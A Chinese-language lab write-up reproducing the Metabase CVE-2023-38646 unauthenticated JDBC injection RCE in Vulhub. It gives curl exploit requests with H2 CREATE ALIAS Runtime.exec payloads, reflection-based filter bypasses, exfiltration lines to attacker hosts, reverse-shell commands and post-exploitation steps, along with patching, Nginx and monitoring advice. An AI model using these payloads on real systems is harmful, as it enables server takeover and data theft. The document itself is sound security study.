CVE-2023-38646漏洞复现:Metabase未授权JDBC连接字符串注入导致RCE

CVE-2023-38646漏洞复现:Metabase未授权JDBC连接字符串注入导致RCE 1. 项目概述与漏洞背景最近在复现一个挺有意思的漏洞CVE-2023-38646它影响的是Metabase这个开源的商业智能BI和数据分析平台。简单来说这个漏洞允许攻击者在未授权的情况下通过一个特定的API端点利用Metabase内置的JDBC连接功能实现远程代码执行RCE。这意味着如果一个暴露在公网且版本存在问题的Metabase实例没有正确配置认证攻击者就能直接接管服务器风险等级非常高。Metabase本身是个非常流行的工具很多团队用它来可视化数据库数据、制作报表。它的一个核心功能就是支持通过JDBC连接各种数据库比如MySQL、PostgreSQL甚至是H2这样的嵌入式数据库。问题就出在这里为了提供灵活的数据库连接能力Metabase允许用户或管理员通过API动态设置数据库连接参数。而CVE-2023-38646正是利用了这一点通过精心构造的JDBC连接字符串结合H2数据库的一些“特性”最终在服务器上执行任意系统命令。我选择在Vulhub这个漏洞靶场环境中进行复现主要是因为它的环境是标准化的、可重复的能让我们在一个安全、隔离的沙箱里把漏洞的整个攻击链跑通从漏洞触发点到最终拿到Shell每一步都看得清清楚楚。这对于安全研究人员理解漏洞原理、开发检测规则或者进行防御加固都至关重要。下面我就把这次复现的详细过程、踩过的坑以及一些深入的理解分享出来。2. 环境搭建与漏洞原理深度解析2.1 Vulhub靶场环境准备首先我们需要一个靶场。Vulhub提供了非常便捷的一键式漏洞环境。假设你已经在Linux系统如Ubuntu上安装好了Docker和Docker Compose。获取Vulhub如果你还没有可以克隆它的仓库。git clone https://github.com/vulhub/vulhub.git cd vulhub定位漏洞环境进入Metabase对应的CVE-2023-38646目录。cd metabase/CVE-2023-38646启动环境使用Docker Compose拉取镜像并启动容器。docker-compose up -d这个命令会在后台启动一个存在漏洞的Metabase实例。通常它会监听在宿主机的8080端口具体以docker-compose.yml文件为准可以用docker-compose ps查看。注意第一次运行可能会需要下载Docker镜像取决于你的网络速度。确保你的宿主机8080端口没有被其他程序占用。启动完成后访问http://your-host-ip:8080应该能看到Metabase的初始化设置页面。到这里漏洞环境就准备好了。Vulhub的镜像通常已经预置了存在漏洞的Metabase版本例如受影响的v0.46.6之前的版本并且可能默认关闭了某些安全校验方便我们复现。2.2 漏洞核心原理从JDBC连接到RCE这个漏洞的链条比较清晰核心在于对用户输入的JDBC连接字符串过滤不严。我们来拆解一下入口点 - Setup APIMetabase提供了一个/api/setup/validate的API端点用于在安装初始化阶段验证数据库连接。关键点在于这个端点在某些配置下如未完成初始化可以在未认证的情况下访问。攻击者正是利用了这个“未授权”的入口。恶意载荷 - JDBC连接字符串注入在向上述API发送的JSON数据中包含一个details字段其中就有jdbc连接字符串。对于H2数据库其JDBC URL格式类似jdbc:h2:mem:test;MODEMySQL。漏洞的利用关键在于H2数据库JDBC驱动支持在URL中通过INIT参数执行初始化SQL语句。武器化 - H2的CREATE ALIASH2数据库有一个强大的功能CREATE ALIAS它可以创建一个关联到Java静态方法的数据库函数。例如CREATE ALIAS EXEC_COMMAND AS $$ String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\\A).next(); } $$;这条SQL语句创建了一个名为EXEC_COMMAND的函数其背后对应一个能执行系统命令的Java方法。串联攻击链攻击者构造一个恶意的JDBC URL将INIT参数指向一个包含CREATE ALIAS命令的远程SQL文件或者直接将命令编码后内联在URL中。当Metabase使用这个URL尝试建立H2数据库连接时H2驱动会解析并执行INIT参数指定的SQL从而创建出可以执行命令的数据库函数。随后攻击者再通过其他方式例如调用这个自定义函数来触发命令执行。为什么能RCE根本原因是Metabase的后端服务一个Java应用以一定的权限通常是运行Metabase的用户如root或metabase在运行。当通过JDBC驱动在H2中创建并调用Java函数时该函数拥有的权限就是Java进程的权限因此可以执行Runtime.getRuntime().exec()。实操心得理解这个漏洞的关键在于明白两点一是未授权的API端点提供了攻击面二是JDBC连接字符串的解析权从应用层下放到了数据库驱动层而驱动这里指H2驱动的功能非常强大且默认信任连接字符串。这种“信任边界”的模糊是很多注入类漏洞的根源。3. 漏洞复现详细步骤与利用过程纸上得来终觉浅我们直接上手看看如何一步步把这个漏洞利用起来。以下操作假设你的靶机IP是192.168.1.100Metabase运行在8080端口。3.1 信息收集与漏洞探测首先确认目标服务存活且为Metabase。curl -I http://192.168.1.100:8080应该能看到返回的Server头信息或者页面内容中包含Metabase字样。接着我们需要判断/api/setup/validate端点是否可访问。直接发送一个最简单的探测请求curl -X POST http://192.168.1.100:8080/api/setup/validate \ -H Content-Type: application/json \ -d {details: {}}如果返回的不是404或403而是类似{valid: false, ...}这样的JSON响应说明这个端点是可以访问的存在被利用的可能。3.2 构造并发送恶意请求现在我们来构造那个能执行命令的恶意载荷。我们将利用H2数据库的INIT参数来运行内联的SQL语句。为了在URL中嵌入SQL需要对一些特殊字符进行URL编码。假设我们要执行的命令是touch /tmp/success_cve_2023_38646这是一个无害的测试命令用于在服务器临时目录创建一个文件证明命令执行成功。构造的JSON数据包如下{ details: { db: h2, host: localhost, port: 0, dbname: metabase, user: sa, password: , ssl: false, tunnel-enabled: false, advanced-options: false, jdbc: jdbc:h2:mem:test;MODEMySQL;TRACE_LEVEL_SYSTEM_OUT2;INITRUNSCRIPT FROM http://attacker-controlled.com/evil.sql } }上面这个例子中INIT参数指向了一个远程SQL文件。但在实际利用中我们更常用内联的方式利用INITCREATE ALIAS...。由于JSON和URL编码的嵌套构造起来有点麻烦。一个经过编码的、可执行的示例如下curl -X POST http://192.168.1.100:8080/api/setup/validate \ -H Content-Type: application/json \ -d ${ details: { db: h2, host: localhost, port: 0, dbname: metabase, user: sa, password: , ssl: false, tunnel-enabled: false, advanced-options: false, jdbc: jdbc:h2:mem:test;MODEMySQL;TRACE_LEVEL_SYSTEM_OUT2;INITCREATE ALIAS EXEC AS $$String exec(String cmd) throws java.io.IOException {return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\\\\\\\\\A\).next();}$$;CALL EXEC(\touch /tmp/success_cve_2023_38646\) } }请注意上面的载荷是一个概念演示在实际发送前你需要对jdbc字段中的单引号、双引号、反斜杠等进行正确的JSON转义和URL编码这是一个非常容易出错的地方。通常我们会先用Python或Burp Suite这样的工具来精确构造这个请求。3.3 使用自动化工具进行利用手动构造这种嵌套编码的请求很容易出错。社区已经有公开的利用脚本PoC我们可以直接使用。例如一个用Python编写的PoC脚本核心思路如下构建完整的恶意JDBC URL字符串。将其作为jdbc字段的值放入JSON数据中。正确设置HTTP请求头发送POST请求到目标。这里我强调一下利用步骤中的关键点命令构造CREATE ALIAS定义的Java方法必须要有正确的签名和异常处理。编码问题JDBC URL中的分号;、单引号、空格等都需要正确处理确保它们能穿过JSON解析和URL解析两层关卡最终被H2驱动正确识别。触发执行在同一个INIT参数里我们可以用分号分隔多条SQL语句。所以可以在CREATE ALIAS之后立刻CALL EXEC(command)这样连接建立时就会自动执行命令。发送请求后如果漏洞存在且利用成功服务器端不会在HTTP响应中直接回显命令执行结果因为我们的PoC是直接执行命令没有设计回显。我们需要通过其他方式验证比如上面例子中可以检查目标服务器的/tmp目录下是否生成了success_cve_2023_38646这个文件。3.4 漏洞验证与结果确认在Vulhub的Docker环境里我们可以直接进入容器内部查看命令是否执行成功。找到Metabase容器的ID或名称docker ps | grep metabase进入容器docker exec -it container_id_or_name /bin/bash检查文件是否创建ls -la /tmp/ | grep success如果看到success_cve_2023_38646这个文件恭喜你漏洞复现成功这证明了远程代码执行是可行的。注意事项在实际攻击中攻击者可能会尝试反弹Shell例如使用bash -i /dev/tcp/攻击者IP/端口 01编码后传入或者下载并执行木马。在我们的测试环境中请务必遵守法律和道德规范仅用于学习研究不要执行危害性命令。4. 漏洞深度分析与技术细节4.1 影响范围与版本判定CVE-2023-38646影响的是Metabase开源版和企业版。根据漏洞公告影响的版本范围是Metabase 开源版 v0.46.6Metabase 企业版 v1.46.6如何判断一个在线的Metabase实例的版本通常有以下几种方法直接查看访问Web界面在页面底部或设置页面中有时会显示版本号。API探测一些API端点可能返回版本信息例如/api/health或/api/session/properties。错误信息在某些请求错误时返回的JSON或HTML中可能包含版本信息。即使无法精确获取版本由于漏洞利用的入口点是未授权的API攻击者也可以直接进行“盲打”尝试发送恶意载荷。如果返回的错误信息与正常情况不同也可能间接推断漏洞是否存在。4.2 JDBC连接字符串注入的多种利用方式我们之前演示的是利用H2数据库的INIT参数。实际上根据目标环境的不同攻击者可能会调整利用方式H2的INIT参数这是最直接的方式支持RUNSCRIPT FROM远程HTTP/S或FTP服务器也支持内联SQL语句。内联方式不需要外部服务器更隐蔽。利用其他数据库特性虽然这个漏洞在Metabase中通过H2利用最为典型但原理是JDBC连接字符串注入。如果Metabase配置了可以连接其他数据库如MySQL的allowLoadLocalInfile、PostgreSQL的COPY命令理论上也可能存在其他利用路径但H2的CREATE ALIAS功能使得RCE变得异常简单和通用。绕过过滤如果开发人员尝试对输入进行过滤如黑名单关键字CREATE、ALIAS、Runtime等攻击者可能会使用编码、大小写变换、注释分割等技巧进行绕过。例如H2支持SQL注释--和/* */可能用于分割恶意字符串。4.3 漏洞的根因与修复方案根因分析访问控制缺失/api/setup/validate端点本应在系统初始化完成后被禁用或施加严格的权限检查但实际上存在未授权访问的可能。不安全的反序列化/解析应用直接将用户控制的、未经验证的字符串JDBC URL传递给底层的JDBC驱动进行解析。JDBC驱动为了提供丰富的功能其URL格式本身就是一个“迷你语言”包含了执行初始化脚本的能力。应用层没有对这类危险功能进行限制或沙箱化。官方修复 Metabase在修复版本v0.46.6/v1.46.6中采取了以下措施强化访问控制确保/api/setup相关的所有端点都在安装初始化完成后被正确保护拒绝未授权访问。输入验证与过滤对传入的JDBC连接字符串进行严格的校验可能包括禁用或严格限制URL中的危险参数如INIT。对允许连接的数据库类型进行白名单限制。对连接字符串中的关键字进行过滤。降低权限建议以非root用户运行Metabase服务以限制命令执行造成的破坏范围。对于使用者来说最直接的修复方案就是立即升级到最新安全版本。如果暂时无法升级可以尝试通过网络防火墙或Web应用防火墙WAF规则严格限制对/api/setup/*路径的访问仅允许受信任的IP访问。5. 防御绕过与高级利用场景探讨在真实的攻防对抗中攻击不会总是这么顺利。防守方可能会有基础的WAF或简单的输入检查。这里探讨几种可能的绕过思路和高级利用场景仅供安全研究与防御建设参考。5.1 针对关键字过滤的绕过假设防守方在应用层或WAF层简单过滤了Runtime、getRuntime、exec等关键字。Java反射这是绕过静态关键字过滤的终极武器。我们可以不使用直接的Runtime.getRuntime().exec(cmd)而是通过反射来调用。CREATE ALIAS EXEC AS $$ String exec(String c) throws Exception { Class cl Class.forName(java.lang.Runtime); java.lang.reflect.Method m cl.getMethod(getRuntime); Object r m.invoke(null); m cl.getMethod(exec, String.class); Process p (Process) m.invoke(r, c); // ... 读取结果 } $$;这样整个载荷中不出现明显的Runtime和exec字符串虽然Class.forName的参数里还有但可以进一步拆分、编码。字符串拼接与编码将敏感关键字拆分成多个部分在Java代码中拼接。或者使用字符编码如Unicode转义\u0052\u0075\u006e\u0074\u0069\u006d\u0065表示Runtime。不过H2的SQL解析器是否支持Unicode转义在字符串内需要测试。使用其他危险类除了Runtime还可以考虑使用ProcessBuilder、ScriptEngineManager执行JavaScript等脚本等类来达到执行命令的目的。5.2 无回显命令执行与出网检测我们之前的PoC是“盲打”执行了命令但看不到结果。在实际渗透中我们需要获取命令执行的结果。DNS外带如果目标服务器能出网这是一个非常隐蔽的方式。通过执行nslookup或ping命令将命令执行结果编码后作为域名的一部分发送到攻击者控制的DNS服务器。# 假设将 whoami 的结果如root通过base64编码后外带 # 需要先在攻击机监听DNS请求 command$(whoami | base64 | tr -d \n) nslookup $command.attacker-domain.comHTTP外带使用curl或wget将结果发送到攻击者的Web服务器。curl http://attacker-server.com/$(whoami|base64)或者在目标服务器上写入一个Webshell然后通过Web访问来执行命令并回显。时间盲注如果网络完全不通可以通过命令执行的时间差来判断。例如执行sleep 5观察HTTP请求的响应时间是否明显延长。实操心得在Vulhub这样的内网靶场环境通常容器没有外网权限所以DNS/HTTP外带可能失败。此时写入Webshell或者利用容器内已有的服务如Netcat反弹Shell到攻击机同一内网的其他端口是更可行的方式。例如可以在攻击机上用nc -lvp 4444监听然后在漏洞利用中执行bash -c bash -i /dev/tcp/攻击机IP/4444 01。5.3 权限维持与横向移动在成功获得RCE之后攻击者显然不会满足于执行一个touch命令。典型的后续操作包括获取稳定Shell如上所述反弹一个交互式Shell到攻击机。信息收集查看当前用户权限、网络配置、进程列表、敏感文件如/etc/passwd,~/.bash_history, 应用配置文件中的数据库密码等。权限提升检查内核版本、SUID文件、Docker环境逃逸可能性等尝试提权。横向移动如果Metabase服务器在内网可能以此为跳板扫描和攻击内网其他服务。因为Metabase通常需要连接内网数据库其配置文件中或进程环境变量里很可能保存了其他数据库的凭据。植入后门在Web目录写入Webshell或者创建定时任务crontab、系统服务来维持持久化访问。在复现练习中请务必在完全隔离的环境中进行切勿尝试对非授权目标进行任何上述操作。6. 漏洞修复检查与安全加固建议复现漏洞是为了更好地防御。如果你正在维护Metabase服务以下是一些具体的安全加固建议6.1 立即检查与升级版本升级这是最有效、最根本的措施。检查你的Metabase版本立即升级到v0.46.6.1或更高版本请查阅官方发布的最新安全版本。补丁验证升级后尝试用之前的PoC脚本对本地环境进行测试确认漏洞已修复。应该收到不同的错误响应且命令不会被执行。6.2 网络与访问控制最小化暴露绝对不要将Metabase的管理界面直接暴露在公网。应该通过VPN或零信任网络访问。如果必须对外提供报表查看功能考虑使用只读账户或将其部署在独立的、无管理权限的实例上。反向代理配置如果使用Nginx或Apache作为反向代理可以配置规则阻断对/api/setup/*等管理API的非法请求即使未来出现类似的未授权漏洞也能增加一层防护。# Nginx 示例禁止直接访问setup接口 location ~ ^/api/setup { deny all; return 403; }注意这可能会影响正常的初始化流程需根据实际情况调整。更好的做法是升级版本让应用自身实现正确的访问控制。6.3 运行时安全与配置非Root用户运行确保Docker容器或宿主机的Metabase进程不以root权限运行。在Docker中使用USER指令指定非root用户在系统服务中配置专门的低权限用户。数据库连接白名单在Metabase的配置中严格限制可以连接的数据库类型和地址。如果业务不需要连接H2可以考虑在环境层面禁用H2的JDBC驱动但这可能影响Metabase自身的一些功能需谨慎。安全基线配置遵循Metabase官方的安全部署指南设置强密码、启用HTTPS、配置会话超时、定期审计日志等。6.4 监控与审计日志监控密切关注Metabase的应用日志和系统日志。对于频繁访问/api/setup/validate或日志中出现异常JDBC连接字符串包含INIT、CREATE ALIAS、Runtime等关键字的请求应立即告警。文件系统监控监控Metabase服务器上的临时目录如/tmp和Web可写目录是否有异常文件创建。网络监控如果服务器正常情况下不应有外连行为监控其发起的异常DNS查询或HTTP请求可能对应命令执行外带数据。7. 从漏洞复现到安全研究的思考复现CVE-2023-38646这样一个漏洞不仅仅是一次技术练习。它给我们带来几个层面的启发对开发人员而言它再次敲响了“不信任用户输入”的警钟。任何来自外部的数据尤其是像连接字符串、配置文件内容这种能够影响程序行为的数据都必须进行严格的验证和净化。将用户输入直接传递给底层功能强大的库如JDBC驱动、模板引擎、反序列化库是极度危险的模式。应当建立明确的信任边界对输入进行白名单校验并在沙箱或受限环境中执行不可信代码。对运维和安全人员而言这个漏洞展示了攻击面管理的重要性。一个用于初始化的API在系统生命周期的大部分时间里应该被关闭或严格保护。需要定期进行资产梳理和攻击面评估确保所有对外开放的服务和接口都有清晰的访问控制。同时深度防御策略很关键即使应用层存在漏洞通过运行在非root权限、网络隔离、WAF等措施也能极大增加攻击难度限制攻击影响。对安全研究者而言这类漏洞的挖掘模式值得总结。关注那些功能强大、参数复杂的协议或接口如JDBC URL、HTTP参数、序列化数据寻找应用层解析与底层库解析之间的差异或者寻找那些本应授权却错误开放的功能点。代码审计时可以重点关注DriverManager.getConnection()、Class.forName().newInstance()这类动态加载和解析外部输入的地方。最后在Vulhub这样的环境中进行复现是所有安全学习者的绝佳起点。它提供了一个无风险的“实验室”让我们可以亲手触摸漏洞的每一个细节理解从触发到利用的完整链条。这种理解远比仅仅知道一个CVE编号和漏洞描述要深刻得多。当你下次看到类似的“未授权API”、“反序列化”、“代码注入”漏洞时你脑海中浮现的将不再是模糊的概念而是一幅清晰的攻击路径图。这才是实战复现带来的真正价值。